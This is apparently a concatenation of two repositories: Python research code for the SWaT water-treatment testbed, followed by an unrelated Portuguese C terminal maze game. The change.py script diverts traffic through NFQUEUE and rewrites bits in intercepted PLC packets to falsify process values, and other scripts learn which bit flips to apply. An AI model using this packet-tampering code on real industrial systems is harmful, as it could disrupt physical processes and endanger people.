if i == 1279:
temp = bit_flip(temp, 583)
if i == 1955:
temp = bit_flip(temp, 1959)
if i == 1959:
temp = bit_flip(temp, 1955)
if i == 2643:
temp = bit_flip(temp, 2647)
if i == 2647:
temp = bit_flip(temp, 2643)
vector_temp.append(temp)
vector_temp = np.array(vector_temp)
if algorithm == 'EMCM':
if method == 'GBDT':
vector_list = EMCM_GBDT(model, 4, model_list, len(vector_temp), vector_temp, 100)
if method == 'linear':
vector_list = EMCM_linear(model, 4, model_list, len(vector_temp), vector_temp)
if algorithm == 'behavior':
vector_list = search(vector_temp, model)
#start modifying packets
for i in range(len(vector_list)):
state_list = '0 1'
np.savetxt('zmq/newvector.txt', vector_list[i], fmt='%d')
time.sleep(2)
print 'start modifying packets'
save('zmq/stage_states.txt', state_list)
time.sleep(30)
print 'modifying end'
temp_pv = read('zmq/pv1.txt')
temp_pv = float('%.4f' % temp_pv)
print 'pv_diff', temp_pv
for j in range(10):
vector.append(vector_list[i])
pv.append(temp_pv)
print 'start_training'
if method == 'GBDT':
model = train_gbdt(vector, pv)
if method == 'linear':
model = train_linear(vector, pv)
joblib.dump(model, sensor + '/' + method + '/' + sensor + '_' + method + '_'+algorithm+'_' + str(count) + ".pkl")
count += 1
print 'rount',count
print 'training over'
state_list = '0 0'
save('zmq/stage_states.txt', state_list)
np.save(sensor + '/' + method + '/' + sensor + '_new_' + method + '_' + algorithm + '.npy', vector)
np.savetxt(sensor + '/' + method + '/' + sensor + '_new_' + method + '_' + algorithm + '_diff30.txt', pv,
fmt='%.4f')
else:
time.sleep(1)
except KeyboardInterrupt:
state_list = '0 0'
save('zmq/stage_states.txt', state_list)
print 'stop modifying and prediction'
break
```
change.py
```#!/usr/bin/env python
# -*- coding:utf-8 -*-
from scapy.all import *
import random
import time
import numpy as np
#from bitdump import *
import binascii
import CIP_sequence
#from modify_bit import *
from netfilterqueue import NetfilterQueue
import zmq
from AL_utils import *
p2_50 = np.zeros(394, dtype=int)
p2_40 = np.zeros(314, dtype=int)
p2_28 = np.zeros(218, dtype=int)
p0_40 = np.zeros(314, dtype=int)
total_length = len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)
vector = np.hstack((p2_50,p2_40,p2_28,p0_40))
vector = vector.tolist()
modify_time = 0
modify_flag = 1
accept_flag = 0
capture_flag = 'False'
count = 0
start_time = 0
check_time = 0
time_interval = 30
new_vector = np.loadtxt('newvector.txt')
new_vector = new_vector.tolist()
new_vector[581] = 0
new_vector[583] = 0
print new_vector[581],new_vector[583]
def save(filename, contents):
fh = open(filename, 'w')
fh.write(contents)
fh.close()
def read(filename):
fh = open(filename, 'r')
contents = fh.read()
fh.close()
return contents
def preprocess(x):
temp = x.strip('[')
temp = temp.strip(']')
final = np.fromstring(temp, dtype=int, sep='. ')
return final
def handle_packet(packet):
global modify_flag
global accept_flag
global modify_time
global count
global vector
global start_time
global capture_flag
global check_time
pkt = IP(packet.get_payload())
if modify_flag == 1:
start_time = time.time()
if pkt.haslayer('Raw'):
if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 32:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,1))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['IP'].len
del pktnew['UDP'].chksum
del pktnew['UDP'].len
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 22:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,2))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['IP'].len
del pktnew['UDP'].chksum
del pktnew['UDP'].len
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.12' and len(pkt['Raw']) == 10:
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,3))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['IP'].len
del pktnew['UDP'].chksum
del pktnew['UDP'].len
packet.set_payload(str(pktnew))
if pkt['IP'].src == '192.168.0.10' and len(pkt['Raw']) == 22:
a = time.time()
rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,1,4))
pktnew = IP(rawpkt)
del pktnew['IP'].chksum
del pktnew['IP'].len
del pktnew['UDP'].chksum
del pktnew['UDP'].len
packet.set_payload(str(pktnew))
print time.time()-a
packet.accept()
if __name__ == '__main__':
os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1')
nfqueue = NetfilterQueue()
nfqueue.bind(1, handle_packet,10)
try:
print "[*] starting NFQUEUE"
start_time = time.time()
check_time = time.time()
print "start_time", start_time
nfqueue.run()
except KeyboardInterrupt:
os.system('sudo iptables -t mangle -F')
print "[*] stopping NFQUEUE"
nfqueue.unbind()
```
_PLC6.py
```
# -*- coding: utf-8 -*-
# Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from scapy import all as scapy_all
import enip_cpf
__all__ = ['SWAT_P6_RIO_DO', 'SWAT_P6_RIO_DI', 'SWAT_P6_RIO_AI']
class SWAT_P6_RIO_DO(scapy_all.Packet):
name = "SWAT_P6_RIO_DO"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.ByteField('number', 0),
scapy_all.StrFixedLenField('reserved', 0, length=5),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P603_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P602_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P601_Start', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P6_RIO_DI(scapy_all.Packet):
name = 'SWAT_P6_RIO_DI'
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.BitEnumField('P602_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P602_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P602_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P601_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P601_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P601_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('RIO6_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('PLC6_Wifi', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS603_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS602_High', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS602_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS601_High', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS601_Low', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P603_Fault', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P603_Run', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('P603_Auto', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('LS603_High', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}),
]
class SWAT_P6_RIO_AI(scapy_all.Packet):
name = "SWAT_P6_RIO_AI"
fields_desc = [
scapy_all.LEShortField('counter', 0),
scapy_all.LEIntField('padding', 0),
scapy_all.LEShortField('FIT601_Flow', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
scapy_all.LEShortField('spare', 0),
]
scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222)
scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_AI, length=32)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_DI, length=10)
scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P6_RIO_DO, length=22)
```
|
yuredev/ringo-game
|
yuredev/ringo-game
README.md
```# Ringo
### Jogo de labirinto com inspiraรงรฃo no Pacman da Namco
O Jogo foi desenvolvido para o terminal do Windows, utilizando apenas a linguagem C, sem a utilizaรงรฃo de qualquer biblioteca ou framework.
Desenvolvido como trabalho final da disciplica de Lรณgica Computacional e Algoritmos do primeiro periรณdo da graduaรงรฃo de Anรกlise e Desenvolvimento de Sistemas na UFRN.
O objetivo do jogo consiste em capturar todos os aneis sem que o inimigo consiga alcanรงar o jogador.
Capturando todos os aneis รฉ possรญvel passar de fase. O jogo atualmente conta com 3 fases e possui mecanicas como poder de congelamento e teletransporte.
### Para jogar execute o Ringo.exe presente na pasta raiz deste repositรณrio
## Tela de Jogo

<br />
## Menu

```
colors.h
```#define CIANO "\033[36m"
#define PRETO "\033[30m"
#define AZUL "\033[34m"
#define VERMELHO "\x1b[31m"
#define CINZA "\e[0;37m"
#define BRANCO "\033[37m"
#define VERDE "\033[32m"
#define BRANCO "\033[37m"
#define FUNDOPRETO "\033[0;0m"
#define FUNDOAZUL "\033[44m"
#define AMARELO "\033[33m"
#define ROXO "\033[1;35m"
#define FUNDOBRANCO "\033[47m"
```
game.h
```#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <conio.h>
#include <stdbool.h>
#include <time.h>
#include <string.h>
#include "colors.h"
typedef unsigned char uchar;
// estrutura do jogador e inimigo
struct agente
{
int linha;
int coluna;
char categoria[8];
};
// funcao que para manipular o menu principal do jogo
char opcaoMenu(char tecla, uchar op)
{
if((tecla == 'W' || tecla == 'w' || tecla == 72) && op > 1)
op--;
else if((tecla == 'S' || tecla == 's' || tecla == 80) && op < 4)
op++;
return op;
}
// funcao que mostra o nome do jogo no menu principal, apenas para a estetica do jogo
void letreiro() // somente estetica
{
printf(FUNDOBRANCO PRETO
"\n\t\t "
"\n\t\t %c%c%c%c%c %c %c%c %c %c%c%c%c%c%c %c%c%c%c%c%c%c%c%c "
"\n\t\t %c %c %c %c%c %c %c %c %c "
"\n\t\t %c %c %c %c %c %c %c %c %c "
"\n\t\t %c%c%c%c%c %c %c %c %c %c %c%c%c%c%c %c %c "
"\n\t\t %c %c %c %c %c %c %c %c %c %c "
"\n\t\t %c %c %c %c %c %c %c %c %c %c "
"\n\t\t %c %c %c %c %c%c %c%c%c%c%c%c %c%c%c%c%c%c%c%c%c "
"\n\t\t " FUNDOPRETO CINZA
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219
,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219,219);
}
// funcao que escreve una linha no terminal de acordo com o tamanho informado
void writeLine(uchar tam) // escreve uma linha
{
uchar i;
for(i = 0; i < tam; i++)
printf("%c",219);
printf("\n");
}
// funcao que move o cursor do terminal, equivalente ao gotoxy()
void moverCursor(int linha, int coluna, bool aPartirDaMatriz) // move o cursor
{
if(aPartirDaMatriz)
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){coluna * 2 + 9, linha + 4});
else
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){coluna - 1, linha -1});
}
// funcao que teleporta o jogador no cenario
agente teletransporte(agente jogador, char cenario[25][25])
{
moverCursor(jogador.linha, jogador.coluna, true);
printf(ROXO "%c%c" CINZA, 178,178);
if(jogador.linha < 5) // identificar qual porta de teletransporte
{
jogador.linha = 23;
jogador.coluna = 12;
}
else
{
jogador.linha = 0;
jogador.coluna = 23;
}
return jogador;
}
// funcao que realiza as mudancas nas posicoes do jogador
agente acaoJogador(char direcao, agente jogador, char cenario[25][25], bool *gelo) // mexe o jogador no cenario
{
// apagar o jogador da tela
moverCursor(jogador.linha, jogador.coluna, true);
printf(" ");
if(cenario[jogador.linha][jogador.coluna] == 't') // teletransporte
jogador = teletransporte(jogador, cenario);
else // se nao for teleteransportar a movimentacao ocorre normalmente
{
if(direcao == 'W' || direcao == 72) // CIMA
direcao = 'w';
else if(direcao == 'A' || direcao == 75) // ESQUERDA
direcao = 'a';
else if(direcao == 'S' || direcao == 80) // BAIXO
direcao = 's';
else if(direcao == 'D' || direcao == 77) // DIREITA
direcao = 'd';
switch(direcao)
{
// o jogador so mexe se a proxima casa nao houver paredes. isso se aplica a todos os cases
case 'w':
if(jogador.linha > 0 && cenario[jogador.linha - 1][jogador.coluna] != 'p')
jogador.linha--;
break;
case 'a':
if(jogador.coluna > 0 && cenario[jogador.linha][jogador.coluna - 1] != 'p')
jogador.coluna--;
break;
case 's':
if(jogador.linha < 24 && cenario[jogador.linha + 1][jogador.coluna] != 'p')
jogador.linha++;
break;
case 'd':
if(jogador.coluna < 24 && cenario[jogador.linha][jogador.coluna + 1] != 'p')
jogador.coluna++;
break;
}
}
// verifica se o jogador pegou o gelo e se sim ele seta o valor de gelo para verdadeiro
if(cenario[jogador.linha][jogador.coluna] == 'g')
{
*gelo = true; // setar o gelo para true, isso congela o inimigo
cenario[jogador.linha][jogador.coluna] = '0'; // sumir com o gelo, apos captura
}
// mostrar o jogador ja nas novas posicoes
moverCursor(jogador.linha, jogador.coluna, true);
printf("%c",254);
moverCursor(25, 0,true);
return jogador; // retornar jogador ja com as novas posicoes
}
// funcao que mexe o inimigo no cenario
agente acaoInimigo(agente inimigo, agente jogador, char cenario[25][25], uchar fase)
{
char direcao;
// apagar o inimigo da tela no cenario
moverCursor(inimigo.linha, inimigo.coluna, true);
printf(" ");
// condicao gigante para verificacao para desvio de paredes. (obs: separei o if em 3 partes para melhor compreensao, ou talvez ne...)
// a primeira parte eh para limitar para nao passar da parede que preenche a tela inteira na fase 3
if(!(fase == 3 && (inimigo.linha == 7 || inimigo.linha == 5)) && !strcmp(inimigo.categoria,"inimigo") &&
((inimigo.linha < jogador.linha && cenario[inimigo.linha + 1][inimigo.coluna] == 'p') || // se tiver uma parede abaixo do inimigo
(inimigo.linha > jogador.linha && cenario[inimigo.linha - 1][inimigo.coluna] == 'p'))) // se tiver uma parede acima do inimigo
{
if(jogador.coluna > 12) // se o jogador estiver do lado direito do cenario
direcao = 'd'; // setei ele para desviar da parede pela direita
else // se estiver do lado esquerdo do cenario
direcao = 'a'; // setei ele para desviar da parede pela esquerda
}
else
if(inimigo.linha == jogador.linha) // se o inimigo tiver na mesma linha do jogador ele move-se em linha reta
{
if(inimigo.coluna < jogador.coluna) // se o inimigo estiver a esquerda do jogador
direcao = 'd'; // ele deve se movimentar a direita
else // caso contrario ele esta a direita
direcao = 'a'; // entao movimenta-se para esquerda
}
else if(inimigo.coluna == jogador.coluna) // se o inimigo tiver na mesma coluna do jogador ele move-se em linha reta
{
if(inimigo.linha < jogador.linha) // se o inimigo estiver acima do jogador
direcao = 's'; // ele deve se movimentar para baixo
else // caso contrario, ele esta abaixo
direcao = 'w'; // ele deve se movimentar para cima
}
else if(rand() % 2 == 0) // 50% de chance do inimigo mover-se no eixo horizontal
direcao = (inimigo.coluna < jogador.coluna) ? 'd' : 'a'; // mexer no eixo horizontal
else // 50% de chance do inimigo mover-se no eixo vertical
direcao = (inimigo.linha < jogador.linha) ? 's' : 'w'; // mexer no eixo vertical
switch(direcao)
{
case 'w':
if(cenario[inimigo.linha-1][inimigo.coluna] != 'p') // limitacao para nao ultrapassar paredes
inimigo.linha--;
break;
case 's':
if(cenario[inimigo.linha+1][inimigo.coluna] != 'p') // limitacao para nao ultrapassar paredes
inimigo.linha++;
break;
case 'a':
if(cenario[inimigo.linha][inimigo.coluna-1] != 'p') // limitacao para nao ultrapassar paredes
inimigo.coluna--;
break;
case 'd':
if(cenario[inimigo.linha][inimigo.coluna+1] != 'p') // limitacao para nao ultrapassar paredes
inimigo.coluna++;
break;
}
if(cenario[inimigo.linha][inimigo.coluna] == 'g') // se o inimigo passar por cima do gelo, o gelo desaparece
cenario[inimigo.linha][inimigo.coluna] = '0';
// printar o inimigo na nova posicao do cenario
moverCursor(inimigo.linha, inimigo.coluna, true);
printf(VERMELHO"%c" CINZA, 254);
moverCursor(25, 0,true);
return inimigo;
}
// funcao que faz a geracao de aneis na fase
int gerarAneis(char cenario[25][25], uchar fase) // gera os Aneis da fase
{
uchar qtdAneisFase;
uchar l,c;
srand(time(NULL));
switch(fase) // definir quantas Aneis serao geradas de acordo com a fase
{
case 1:
qtdAneisFase = 20;
break;
case 2:
qtdAneisFase = 25;
break;
case 3:
qtdAneisFase = 30;
}
for(int i = 0; i < qtdAneisFase; i++)
{
do
{
l = rand() % 25;
c = rand() % 25;
if(cenario[l][c] == '0') // verifica se esta disponivel a posicao para colocar um anel
{
cenario[l][c] = 'a';
break;
}
}while(cenario[l][c] != '0'); // repita ate que as coordenadas geradas para o anel estejam disponiveis
}
return qtdAneisFase;
}
// funcao que reseta as posicoes do agente, sendo este inimigo ou o jogador. Isto de acordo com a fase
agente resetarPosicoes(agente x, uchar fase)
{
switch(fase)
{
case 1:
if(!strcmp(x.categoria, "inimigo")) // se o agente for inimigo
{
x.linha = 16;
x.coluna = 10;
}
else // se o agente for jogador
{
x.linha = 3;
x.coluna = 9;
}
break;
case 2:
if(!strcmp(x.categoria, "inimigo")) // se o agente for inimigo
{
x.linha = 20;
x.coluna = 21;
}
else // se o agente for jogador
{
x.linha = 0;
x.coluna = 10;
}
break;
case 3:
if(!strcmp(x.categoria, "inimigo")) //se o agente for inimigo
{
x.linha = 7;
x.coluna = 22;
}
else if(!strcmp(x.categoria, "jogador")) // se o agente for jogador
{
x.coluna = 0;
x.linha = 22;
}
else // se o agente for o segundo inimigo da fase 3
{
x.linha = 5;
x.coluna = 6;
}
}
return x;
}
// funcao que escreve na tela o cenario do jogo
void mostrarJogo(char cenario[25][25], agente jogador, agente inimigo, agente inimigo2) // mostra a tela de jogo
{
uchar i,j;
printf("\n\n\t");
writeLine(52); // parede superior do cenario
for(i = 0; i < 25; i++)
{
printf("\t%c",219); // limite do cenario, parede vertical do inicio
for(j = 0; j < 25; j++)
{
if(cenario[i][j] == 't') //mostrar teletransporte
printf(ROXO "%c%c" CINZA,178,178);
else if(cenario[i][j] == 'g') // mostrar gelo
printf(CIANO "# " CINZA);
else if(i == inimigo2.linha && j == inimigo2.coluna) // mostrar segundo inimigo (fase 2)
printf(VERMELHO "%c " CINZA,254);
else if(i == inimigo.linha && j == inimigo.coluna) // mostrar inimigo
printf(VERMELHO "%c " CINZA,254);
else if(i == jogador.linha && j == jogador.coluna) // mostrar jogador
printf("%c ",254);
else if(cenario[i][j] == '0') // mostrar espaรยงo vazio
printf(" ");
else if(cenario[i][j] == 'p') // mostrar paredes
printf("%c%c", 178,178);
else if(cenario[i][j] == 'a') //mostrar aneis
printf(AMARELO "o " CINZA);
}
printf("%c",219); // limite do cenario, parede vertical do fim
printf("\n");
}
printf("\t");
writeLine(52); // parede inferior do cenario
printf("\n\t");
}
// funcao que verifica se o inimigo tocou no jogador
bool wasTouched(agente jogador, agente inimigo, agente inimigo2)
{
bool touch = false;
// verifica se o inimigo 1 ou 2 esta na mesma cordenada do jogador
if((jogador.linha == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna == inimigo2.coluna))
touch = true;
// verifica se o inimigo 1 ou 2 esta a um bloco a direita do jogador
else if((jogador.linha-1 == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha-1 == inimigo2.linha && jogador.coluna == inimigo2.coluna))
touch = true;
// verifica se o inimigo 1 ou 2 esta a um bloco a esquerda do jogador
else if((jogador.linha+1 == inimigo.linha && jogador.coluna == inimigo.coluna) || (jogador.linha+1 == inimigo2.linha && jogador.coluna == inimigo2.coluna))
touch = true;
// verifica se o inimigo 1 ou 2 esta um bloco acima do jogador
else if((jogador.linha == inimigo.linha && jogador.coluna-1 == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna-1 == inimigo2.coluna))
touch = true;
// verifica se o inimigo 1 ou 2 esta a um bloco abaixo do jogador
else if((jogador.linha == inimigo.linha && jogador.coluna+1 == inimigo.coluna) || (jogador.linha == inimigo2.linha && jogador.coluna+1 == inimigo2.coluna))
touch = true;
return touch;
}
// funcao que constroi uma parede horizontal na matriz do cenario do jogo
void fazerParede(uchar linha, uchar inicioParede, uchar fimParede, char cenario[25][25])
{
for(; inicioParede <= fimParede; inicioParede++)
cenario[linha][inicioParede] = 'p';
}
// funcao que monta o cenario do jogo de acrodo com a fase
void montarCenario(uchar fase, char cenario[25][25], agente jogador)
{
uchar i,j;
uchar limite; // usada para construir o cenario da fase 2
for(i = 0; i < 25; i++) // zerar cenario para construir o novo
for(j = 0; j < 25; j++)
cenario[i][j] = '0';
switch(fase) // monta as paredes do cenario de acordo com a fase
{
case 1:
cenario[10][1] = 'g';
cenario[23][20] = 'g';
for(j = 2; j < 23; j+=2)
cenario[4][j] = 'p';
fazerParede(7,2,12,cenario);
fazerParede(10, 14, 23, cenario);
fazerParede(13, 2, 12, cenario);
for(j = 4; j < 21; j+=4)
cenario[15][j] = 'p';
for(j = 1; j < 11; j+=1)
cenario[18][j] = 'p';
for(j = 13; j < 24; j+=1)
cenario[18][j] = 'p';
for(j = 2; j < 23; j+=3)
cenario[21][j] = 'p';
break;
case 2:
cenario[8][3] = 'g';
cenario[23][20] = 'g';
for(j = 1; j < 24; j++)
{
if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรยฃo por 2. numero par + 2 continua par. impar + 2 continua impar
{
cenario[10][j] = 'p';
cenario[14][j] = 'p';
}
else
cenario[12][j] = 'p';
}
fazerParede(3, 2, 12, cenario);
fazerParede(5, 14, 23, cenario);
fazerParede(7, 2, 12, cenario);
fazerParede(18, 14, 23, cenario);
fazerParede(20, 2, 12, cenario);
fazerParede(22, 14, 23, cenario);
break;
case 3:
cenario[1][5] = 'g';
cenario[0][24] = 't'; // teletransportes
cenario[1][24] = 't';
fazerParede(24, 0, 24, cenario);
cenario[24][11] = 't';
cenario[24][12] = 't';
cenario[24][13] = 't';
j = 2;
limite = 3;
for(i = 0; i < 8; i++)
{
fazerParede(2, j, limite, cenario);
j = limite+2;
limite += 3;
}
j = 1;
limite = 2;
for(i = 0; i < 8; i++)
{
fazerParede(4, j, limite, cenario);
j = limite+2;
limite += 3;
}
fazerParede(6, 0, 24, cenario);
for(j = 1; j < 24; j++)
{
if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรยฃo por 2. numero par + 2 continua par. impar + 2 continua impar
{
cenario[9][j] = 'p';
}
else
cenario[11][j] = 'p';
}
fazerParede(14, 2, 22, cenario);
for(j = 1; j < 24; j++)
{
if((j+2) % 2 == 1) // j + 2 para nao dar erro na divisรยฃo por 2. numero par + 2 continua par. impar + 2 continua impar
{
cenario[19][j] = 'p';
}
else
cenario[17][j] = 'p';
}
}
}
// funcao que faz a animacao de derrota do jogo
void animacaoDerrota()
{
const uchar tempo = 100;
printf("G");
Sleep(tempo);
printf("A");
Sleep(tempo);
printf("M");
Sleep(tempo);
printf("E");
Sleep(tempo);
printf(" ");
Sleep(tempo);
printf("O");
Sleep(tempo);
printf("V");
Sleep(tempo);
printf("E");
Sleep(tempo);
printf("R");
Sleep(tempo);
printf(" !");
Sleep(tempo);
printf("!");
Sleep(tempo);
printf("!\n\n\t");
}
// funcao que faz a animacao de vitoria do jogo
void animacaoVitoria(uchar fase)
{
const uchar tempo = 100;
printf("F");
Sleep(tempo);
printf("A");
Sleep(tempo);
printf("S");
Sleep(tempo);
printf("E");
Sleep(tempo);
printf(" %d ", fase);
Sleep(tempo);
printf("C");
Sleep(tempo);
printf("O");
Sleep(tempo);
printf("M");
Sleep(tempo);
printf("P");
Sleep(tempo);
printf("L");
Sleep(tempo);
printf("E");
Sleep(tempo);
printf("T");
Sleep(tempo);
printf("A");
Sleep(tempo);
printf(" !");
Sleep(tempo);
printf("!\n\n\t");
Sleep(tempo);
}
```
Ringo.cpp
```#include "game.h"
#define ESPERA 120
/*
Observacoes: Somente compativel com o Windows 10
*/
void mostrarMenu(char opcao);
void creditos();
void manual();
int jogo(uchar fase);
int main()
{
uchar fase = 1;
uchar opcao = 1;
char tecla;
SetConsoleTitle("*** R I N G O ***");
HWND hwnd = GetConsoleWindow();
if(hwnd != NULL)
MoveWindow(hwnd ,150,50 ,590, 425, TRUE); // ajustar tamanho da janela
do
{
if(kbhit()) // se alguma coisa foi teclada
{
tecla = getch();
if(tecla == 13) // se o usuรกrio teclar enter
{
switch(opcao)
{
case 1:
fase = jogo(fase);
if(hwnd != NULL)
MoveWindow(hwnd ,150,50 ,590, 425, TRUE);
break;
case 2:
manual();
break;
case 3:
MoveWindow(hwnd ,150,50 ,590, 300, TRUE);
creditos();
MoveWindow(hwnd ,150,50 ,590, 425, TRUE);
break;
case 4:
system("cls");
printf("Jogo encerrado, obrigado por jogar :)\n\n");
printf("\n\n");
return 0;
}
}
else // se a tecla digitada nao for enter eh pq talvez foi alguma opcao do menu
opcao = opcaoMenu(tecla, opcao);
}
system("cls");
letreiro();
mostrarMenu(opcao); // apenas mostra o menu de acordo com as opcoes
printf(AMARELO"Navegacao: "CINZA);
printf("\n\t\t ");
printf(AMARELO"W - cima, S - baixo, Enter - confirmar" CINZA);
moverCursor(20,1,false);
setbuf(stdin,NULL);
while(!kbhit()); // para a tela nao ficar piscando
}while(1);
}
int jogo(uchar fase)
{
char cenario[25][25];
agente jogador, inimigo, inimigo2;
char direcao;
uchar qtdAneis;
uchar posAnel[2];
uchar posAnel2[2];
uchar tempo = 0;
bool gelo = false;
bool flag = false;
bool flag2 = false;
bool continuarJogo = true;
HWND hwnd = GetConsoleWindow();
if(hwnd != NULL)
